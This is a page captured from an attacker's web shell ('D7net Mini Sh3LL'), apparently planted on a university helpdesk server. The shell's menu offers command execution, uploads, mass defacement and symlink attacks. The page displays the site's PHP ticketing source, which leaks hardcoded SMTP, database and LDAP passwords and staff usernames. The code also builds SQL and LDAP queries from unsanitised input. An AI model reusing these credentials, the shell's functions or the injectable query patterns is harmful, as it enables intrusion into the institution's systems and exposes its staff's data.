D7net Mini Sh3LL v1

 
OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0775) :  /var/www/html/infor/supporto/bower_components/mocha/../datatables-plugins/../../pages/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : /var/www/html/infor/supporto/bower_components/mocha/../datatables-plugins/../../pages/data.php
<?php
require_once('class.phpmailer.php');
require 'PHPMailerAutoload.php';
require 'class.smtp.php';
require 'ldap.php';
function trovaoperatore($sede,$tipo)
{
$operatore="";
	switch ($sede) {
     case "Centro Direzionale":
	 {
	  $operatore=2;
	  $email="rossi.ict@gmail.com";
	break;}
     case "Monte di Dio":
     {$operatore=3;
	  $email="rossi.ict@gmail.com";
	break;}
    case "Via Acton":
     {$operatore=1;
	  $email="rossi.ict@gmail.com";
	break;}
	case "Via Medina":
      {$operatore=1;
	  $email="rossi.ict@gmail.com";
	break;}
    case "Nola":
      {$operatore=4;
	  $email="rossi.ict@gmail.com";
	break; }
	
	} 
   

	
	
	return $operatore;
	
	
}
class email{
	
	private $mail="";
	
	public function __construct()
	{
		$this->mail = new PHPMailer;
		$this->mail->isSMTP();                                      // Set mailer to use SMTP
		$this->mail->Host = 'mail.uniparthenope.it';  // Specify main and backup SMTP servers
		$this->mail->SMTPAuth = false;                               // Enable SMTP authentication
		$this->mail->Username = 'moodle';                 // SMTP username
		$this->mail->Password = 'mail@moodle14'; 
		$this->mail->isHTML(true);  

		
		// SMTP password
		//$this->mail->SMTPSecure = 'tls';                            // Enable TLS encryption, `ssl` also accepted
		//$this->mail->Port = 25;                                    // TCP port to connect to
	
	}

	



	public function send ($to,$subject,$msg,$oemail)
	{
		
		$this->mail->setFrom('helpdesk@uniparthenope.it', 'Help desk Uniparthenope');
		// Add a recipient
		$this->mail->addAddress($to);               // Name is optional
		$this->mail->addCC($oemail);
		//$mail->addReplyTo('info@example.com', 'Information');
		//$mail->addCC('cc@example.com');
	//	$mail->addBCC('bcc@example.com');
		$this->mail->isHTML(false);                                  // Set email format to HTML

   	$this->mail->Subject = $subject;
	$this->mail->Body = $msg;
      $this->mail->AltBody = $msg;
		   if(!$this->mail->send()) {
			echo 'Message could not be sent.';
			echo 'Mailer Error: ' . $this->mail->ErrorInfo;
		} 
		/*
		else {
			echo 'Message has been sent';
		}*/

	}
	
	
	
	
}

class database { 

    private $host="localhost";
	private $user="helpdesk";
	private $password="helpdesk2016";
	private $dbname="supporto"; 
    private $conn="";
	
    public function getconn()
	{
		
		return $this->conn;
	}
    public function connect()
	{

	//Connect to MySQL server
	$this->conn = mysql_connect($this->host,$this->user,$this->password) or die("Connessione non riuscita: " . mysql_error());
	// Select the database
	mysql_select_db($this->dbname, $this->conn)
		or die("Database non presente: " . mysql_error());
	}
	 
	public function disconnect()
	  {
		//Funzione disconnect
  		  mysql_close($this->conn);

	} 
	
   
} 

class utente {
	
	private $uid="";
	private $nome="";
	private $cognome="";
	private $email=""; 
    private $telefono="";
	private $struttura="";

	
		 public function __construct($uid,$nome,$cognome, $email, $telefono, $struttura) {
				$this->uid = $uid;
				$this->nome = $nome;
				$this->cognome = $cognome;
				$this->email = $email;
				$this->telefono = $telefono;
				$this->struttura = $struttura;
			
          
        }
	public function inserisciUtente()
	{
		 
		  
		  $log="";
		  $error=0;
		  $database =new database();
		  
		try 
		 {
			 $database->connect();
		    
			//Inserisci utente
			 $insertuid = "Insert into utente (uid,nome,cognome,email,telefono,struttura,ruolo) values
			 ('".$this->uid."','".$this->nome."','".$this->cognome."','".$this->email."','".$this->telefono."','".$this->struttura."',0)";
		 //Trova utente
              $querytrovauid="select * from utente where uid='".$this->uid."'";	
			  $trovaid="select id from utente where uid='".$this->uid."'";
			$result1 = mysql_query($querytrovauid,$database->getconn());
			if ($result1) 
			{
				$log="Errore utente giĆ  inserito"; 
				$error=1;
			}
			else
			 { // Trova ID richiesta
			
					
					$result2=mysql_query($insertuid,$database->getconn());
			 
					if (!$result2) 
					{
					  $log ="Errore inserimento utente";$error=1;
					}
					else
					{
						$log ="Utente Inserito correttamente";
					}				  
				  
				   			  
					
			
				
		   
		
		    }
			
			  $result3=mysql_query($trovaid,$database->getconn());
			 
					if (!$result3) 
					{
					  $log ="Errore inserimento uid";$error=1;
					}
					else
					{  
				        $res_array=mysql_fetch_row($result3);
			            $id=$res_array[0];	
						$_SESSION['id']=$id;
					}	
			
			 if ($error ==1)
			 {
			   alert($log,"alert-warning");}
		     else{
			   alert($log,"alert-success");
			   }
		 }
		
		  catch (Exception $excp)
			{
			 echo $excp;
			$database->disconnect();
			 redirect("index.php");
			}
		   $database->disconnect();

	}
		
		
		
		
		
		
		
	
	
	
}


class richiesta { 

    private $id="";
	private $stato="";
	private $dataa="";
	private $datac=""; 
    private $operatore="";
	private $dipendente="";
	private $descrizione="";
	private $sede="";
	private $tipo="";
	private $log="";
	private $result="";
	private $database; 
	
	// dati utente
	
	private $nome="";
	private $cognome="";
	private $email="";
	private $telefono=""; 
	
	
	public function getlog()
	{
		
	return 	$this->log;
	}
	
	public function getresult()
	{
		
	return 	$this->result;
	}
	
	 public function __construct($stato, $dataa, $datac, $operatore, $dipendente, $descrizione, $sede,$tipo,$nome,$cognome,$email,$telefono) {
                $this->stato = $stato;
                $this->dataa = $dataa; 
				$this->datac = $datac; 
				$this->operatore = $operatore; 
				$this->dipendente = $dipendente;
				$this->descrizione = $descrizione;
				$this->sede = $sede;
				$this->tipo = $tipo;
				$this->nome = $nome;
				$this->cognome = $cognome;
				$this->email = $email;
				$this->telefono = $telefono;
          
        }
    


	
	
	
public function inserisciRichiesta()
	  {
		  
		  $log="";
		  $error=0;
		  $database =new database();
		  
		try 
		 {
			 $database->connect();
		    
			//Inserisci richiesta
			 $insertstring = "Insert into richiesta (stato,dataa,operatore,dipendente, descrizione, sede, tipo) values
			 (".$this->stato.",'".$this->dataa."',".$this->operatore.",'".$this->dipendente."','".$this->descrizione."','".$this->sede."','".$this->tipo."')";
		  
           
			 
			$result1 = mysql_query($insertstring,$database->getconn());
			if (!$result1) 
			{
				$log="Errore inserimento richiesta"; 
				$error=1;
			}
			else
			 { // Trova ID richiesta
			
				$querytrovaid="select MAX(id) from richiesta";		
				$result2=mysql_query($querytrovaid,$database->getconn());
			 
				if (!$result2) 
				{
				  $log ="Errore operatore non trovato";$error=1;
				}
				else
				{
					 // Trova operatore associato
				  $res_array=mysql_fetch_row($result2);
			      $idrichiesta=$res_array[0];	
				  $queryoperatore="select * from utente where ruolo=1 and id=".$this->operatore."";
                  

				  $result3 = mysql_query($queryoperatore,$database->getconn());
					  if (!$result3) 
					  {
						  $this->log ="Operatore non trovato";$error=1;
					 
					  }
					  else{
						  // Invia notifica
						  $res_array=mysql_fetch_row($result3);  
						  $onome=$res_array[1];
						  $ocognome=$res_array[2];
						  $oemail=$res_array[3];
						  $otelefono=$res_array[4];
						  
				      $richiesta = " Richiesta help desk numero: <b>".$idrichiesta."</b><br><br>";
						  
					 $operatoreassegnato =  "<b>Dati Operatore Assegnato</b><br>"; 
					 $operatoreassegnato =  $operatoreassegnato.$onome." ".$ocognome."<br>";
					 $operatoreassegnato = $operatoreassegnato." ".$oemail."<br>";
					 $operatoreassegnato = $operatoreassegnato." ".$otelefono."<br><br>";
					 
					
					 
					 $msg = $richiesta;
					 $msg = $msg."".$operatoreassegnato."<br>";
					 $msg = $msg."<b>Dati Richiesta</b><br>";
					 $msg = $msg.$this->descrizione."<br>";
					 
					 $email = new email();
					 
					 $email->send($this->email,'help desk',$msg,$oemail);
					 
					 unset($email);
					 }				  
				 
				}	
				
			
		
		    }
			 if ($error ==1)
			 {
			   alert($log,"alert-warning");}
		     else{
			   alert("Richiesta ricevuta!! Tutti i dati sono stati inviati all'indirizzo email indicato.","alert-success");
			   }
		 }
		
		  catch (Exception $excp)
			{
			 echo $excp;
			$database->disconnect();
			 redirect("index.php");
			}
		   $database->disconnect();

	}
} 






function connect()
	{

	$host="localhost";
	$user="web";
	$password="supporto2016";
	$db_name="supporto";
//	 Connect to MySQL server
	$conn = mysql_connect($host,$user,$password) or die("Connessione non riuscita: " . mysql_error());
//# Select the database
	mysql_select_db($db_name, $conn)
		or die("Database non presente: " . mysql_error());

	return $conn;
	}

function disconnect($connessione)
	  {
//		echo "Funzione disconnect <br>" ;
  		  mysql_close($connessione);

		}





function redirect($filename) 
   {
   if (!headers_sent())
       header('Location: '.$filename);
   else {
       echo '<script type="text/javascript">';
       echo 'window.location.href="'.$filename.'";';
       echo '</script>';
       echo '<noscript>';
       echo '<meta http-equiv="refresh" content="0;url='.$filename.'" />';
       echo '</noscript>';
    }
   }

function check_personale_parthenope($user, $passw)
    {
		
		
		$user=str_replace("@uniparthenope.it", "",$user);
	$ds = ldap_connect('ldap.uniparthenope.it','389');
	ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

	$result = false;
	$basedn='dc=uniparthenope,dc=it';
	$search="(|(&(uid=$user)(accountActive=TRUE))(&(mailLocalAddress=$user@uniparthenope.it)(accountActive=TRUE)))"; 
	ldap_bind($ds, 'uid=read_only,dc=uniparthenope,dc=it', '79%ro43');
	$result = ldap_search($ds,  $basedn, $search);
	if (!($entry = ldap_first_entry($ds, $result))) {
	    redirect("index.php");
	} else {
		$userdn=ldap_get_dn($ds, $entry);
		if ($result = ldap_bind($ds, $userdn, $passw))  
			{  
				
				$attrs = ldap_get_attributes($ds, $entry);
				
				session_start();
				$_COOKIE=array();
				
				$_SESSION['uid']=$attrs['uid'][0];
				$_SESSION['nome']=$attrs['givenName'][0];
				$_SESSION['cognome']=$attrs['sn'][0];
				$_SESSION['nomecompleto']=$attrs['cn'][0];
				$_SESSION['email']=$attrs['mail'][0];
				$_SESSION['struttura']=$attrs['ou'][0];
				$_SESSION['telefono']=$attrs['telephoneNumber'][0];
				$_SESSION['sede']=$attrs['postalAddress'][0];
				
				$utente = new utente($attrs['uid'][0],$attrs['givenName'][0],$attrs['sn'][0],$attrs['mail'][0],$attrs['telephoneNumber'][0],$attrs['ou'][0]);
				$utente->inserisciUtente();
				
			redirect("index.php");
				
				
				
				
				
				
				//print_r($attrs); 
				
				return true;
		
		    }
			else {
				alert("Password errata\n","alert-warning");
				
				return false;}
	}
    }	

	function check_ruolo($uid)
	{
		$ruolo=0;
		
	switch ($uid) {
    case 'francesco.rossi':
	{$ruolo=1;
	 break;
	}
        
    case 'nunzio.napolitano':
	{$ruolo=1;
	 break;
	}
   case 'antonello.cioffi':
	{$ruolo=1;
	 break;
	}
	
	case 'mario.manzo':
	{$ruolo=1;
	 break;
	}}
   
   return $ruolo;
	}
		
		
		
		
		
		
	
	
function alert($message,$type)
{
	
	    echo '
			  <div class="row">
			   <div class="col-sm-6 col-md-6">
			    <div class="alert '.$type.' alert-dismissible fade in" role="alert">
					<button type="button" class="close" data-dismiss="alert" aria-label="Close">
						<span aria-hidden="true">&times;</span>
					</button>
			    <strong>'.$message.'</strong>
				</div>
			   </div>
			   </div>
			   ';
	
	
	
	
	
}

function elenco()
{
	
	
	
	
		  
		  $log="";
		  $error=0;
		  $database =new database();
		  
		try 
		 {
			 $database->connect();
		    
			//Inserisci richiesta
			 $elenco = "select * from richiesta";
		 
           
			 
			$res = mysql_query($elenco,$database->getconn());
			
				$all = mysql_fetch_all($res);

				echo "<table class='data_table'>";

				for($i = 0; $i < count($all); $i++) {
					create_table($all[$i]);
				}

				echo "</table>";
				  
					
	    }	
				
			
		
		    
			 
		 
		
		  catch (Exception $excp)
			{
			 echo $excp;
			$database->disconnect();
			 redirect("index.php");
			}
		   $database->disconnect();

	}
	
	
	function mysql_fetch_all($res) {
   while($row=mysql_fetch_array($res)) {
       $return[] = $row;
   }
   return $return;
}

function create_table($dataArr) {
    echo "<tr>";
    for($j = 0; $j < count($dataArr); $j++) {
        echo "<td>".$dataArr[$j]."</td>";
    }
    echo "</tr>";
}
	
	
	
function datatable($result) {
while ($row = mysql_fetch_array($result, MYSQL_NUM)) 
{
	
    echo "<tr>";
    for($j = 0; $j < count($row); $j++) {
        echo "<td>".$row[$j]."</td>";
    }
    echo "</tr>";
	
}	
}	
	
	
function elencorichieste()
{
	
	
	
	
		  
		  $log="";
		  $error=0;
		  $database =new database();
		  
		try 
		 {
			 $database->connect();
		    
			//Inserisci richiesta
			 $elenco = "select 
						  r.id
						, r.descrizione 
						, u.cognome as Assegnato
						, r.dipendente as Richiedente
						, r.sede 
						, r.tipo
						, r.dataa as Data
						from richiesta r, utente u where u.id=r.operatore
						order by id DESC";
		 
           
			 
			$result = mysql_query($elenco,$database->getconn());
			
			
				

				echo '<table id="example" class="display" cellspacing="0" >';
                 
				 echo'  
				     <thead>	
					 <tr>
					    <th>ID</th>
						<th>Descrizione</th>
						<th>Tipo</th>
						<th>Assegnato</th>
						<th>Richiedente</th>
						<th>Sede</th>		
						<th>Data</th>
					 </tr>
					 </thead>
					 <tfoot>
					 <tr>
						<th>ID</th>
						<th>Descrizione</th>
						<th>Tipo</th>
						<th>Assegnato</th>
						<th>Richiedente</th>
						<th>Sede</th>
						<th>Data</th>
					 </tr>
					</tfoot>
					<tbody>
				 ';
				 
					datatable($result) ;
				

				echo '</tbody>
					  </table>';
				  
					
	    }	
				
			
		
		    
			 
		 
		
		  catch (Exception $excp)
			{
			 echo $excp;
			$database->disconnect();
			 redirect("index.php");
			}
		   $database->disconnect();

	}
	

function elencorichiestextipo()
{
	
	
	
	
		  
		  $log="";
		  $error=0;
		  $database =new database();
		  
		try 
		 {
			 $database->connect();
		    
			//Inserisci richiesta
			 $elenco = "select *
						from xtipo";
		 
           
			 
			$result = mysql_query($elenco,$database->getconn());
			
			
				

				echo '<table id="xtipo" class="display" cellspacing="0" width="100%">';
                 
				 echo'  
				     <thead>	
					 <tr>
					    <th>Tipo</th>
						<th>Numero</th>
					 </tr>
					 </thead>
					
					<tbody>
				 ';
				 
					datatable($result) ;
				

				echo '</tbody>
					  </table>';
				  
					
	    }	
				
			
		
		    
			 
		 
		
		  catch (Exception $excp)
			{
			 echo $excp;
			$database->disconnect();
			 redirect("index.php");
			}
		   $database->disconnect();

	}	
	

function elencorichiestexsede()
{
	
	
	
	
		  
		  $log="";
		  $error=0;
		  $database =new database();
		  
		try 
		 {
			 $database->connect();
		    
			//Inserisci richiesta
			 $elenco = "select *
						from xsede";
		 
           
			 
			$result = mysql_query($elenco,$database->getconn());
			
			
				

				echo '<table id="xtipo" class="display" cellspacing="0" width="100%">';
                 
				 echo'  
				     <thead>	
					 <tr>
					    <th>Sede</th>
						<th>Numero</th>
					 </tr>
					 </thead>
					  
					<tbody>
				 ';
				 
					datatable($result) ;
				

				echo '</tbody>
					  </table>';
				  
					
	    }	
				
			
		
		    
			 
		 
		
		  catch (Exception $excp)
			{
			 echo $excp;
			$database->disconnect();
			 redirect("index.php");
			}
		   $database->disconnect();

	}
function supporto()
{
	
	
		  
		  $log="";
		  $error=0;
		  $database =new database();
		  
		try 
		 {
			 $database->connect();
		      
			  $dipendente=$_SESSION['nome'].' '.$_SESSION['cognome'];

				// optional, query for grid(). LAST COLUMN MUST BE THE IDENTITY for [edit] and [delete] links to appear
				$elenco = "
				select 
				  r.id
				, r.descrizione 
				, r.dipendente as Richiedente
				, r.sede 
				, r.tipo
				, r.dataa AS Data
				from richiesta r
				where r.operatore='".$_SESSION['id']."'
				order by id desc";
			  
				 
           
			 
			$result = mysql_query($elenco,$database->getconn());
			
			
				

				echo '<table id="example" class="display" cellspacing="0" width="100%">';
                 
				 echo'  
				     <thead>	
					 <tr>
					    <th>ID</th>
						<th>Descrizione</th>
						<th>Richiedente</th>
						<th>Sede</th>
						<th>Tipo</th>
						<th>Data</th>
					 </tr>
					 </thead>
					<tfoot>
					 <tr>
					    <th>ID</th>
						<th>Descrizione</th>
						<th>Richiedente</th>
						<th>Sede</th>
						<th>Tipo</th>
						<th>Data</th>
					 </tr>
					</tfoot>
					<tbody>
				 ';
				 
					datatable($result) ;
				

				echo '</tbody>
					  </table>';
				  
					
	    }	
				

		
		  catch (Exception $excp)
			{
			 echo $excp;
			$database->disconnect();
			 redirect("index.php");
			}
		   $database->disconnect();

	}		
function richieste()
{
	
	
		  
		  $log="";
		  $error=0;
		  $database =new database();
		  
		try 
		 {
			 $database->connect();
		      
			  $dipendente=$_SESSION['nome'].' '.$_SESSION['cognome'];

				// optional, query for grid(). LAST COLUMN MUST BE THE IDENTITY for [edit] and [delete] links to appear
				$elenco = "
				select 
				  r.id
				, r.descrizione 
				, u.cognome as Assegnato
				, r.sede 
				, r.tipo
				, r.dataa AS Data
				from richiesta r, utente u 
				where r.operatore= u.id and r.dipendente ='".$dipendente."'
				order by id DESC";
			  
				 
           
			 
			$result = mysql_query($elenco,$database->getconn());
			
			
				

				echo '<table id="example" class="display" cellspacing="0" width="100%">';
                 
				 echo'  
				     <thead>	
					 <tr>
					    <th>ID</th>
						<th>Descrizione</th>
						<th>Assegnato</th>
						<th>Sede</th>
						<th>Tipo</th>
						<th>Data</th>
					 </tr>
					 </thead>
					<tfoot>
					 <tr>
					    <th>ID</th>
						<th>Descrizione</th>
						<th>Assegnato</th>
						<th>Sede</th>
						<th>Tipo</th>
						<th>Data</th>
					 </tr>
					</tfoot>
					<tbody>
				 ';
				 
					datatable($result) ;
				

				echo '</tbody>
					  </table>';
				  
					
	    }	
				

		
		  catch (Exception $excp)
			{
			 echo $excp;
			$database->disconnect();
			 redirect("index.php");
			}
		   $database->disconnect();

	}	

	function cercapersona()
    {
		// The hostname of our LDAP server
		$ServerHost ='ldap.uniparthenope.it';
		// The user we're going to try to log in as
		$Username = 'uid=cineca';
	   	//$Username = 'uid=read_only';
		// The user's password
		$Password = 'mE2refUw';
		//$Password = '79%ro43';
		$BaseDN = 'ou=people,dc=uniparthenope,dc=it';
		$ld = new ldap($ServerHost);
		//var_dump($ld);
		// Connect to the server
		if (!$ld->connect()) {
		//var_dump($ld);
		die("Error connecting__: $ServerHost".$ld->ldapError."\n");
		}
		 
		 if ($ld->bind("$Username,dc=uniparthenope,dc=it",$Password)) 
		  {
			  
	
			 $filter ='uid=*';	
			 $attributi_query =array('cn','mail');
			
				
			 $visualizza = $ld->print_entries($BaseDN, $filter,$attributi_query); 
			
			  
		
	
		 }
	
	
	
	}
	
	
?>


AnonSec - 2021 | Recode By D7net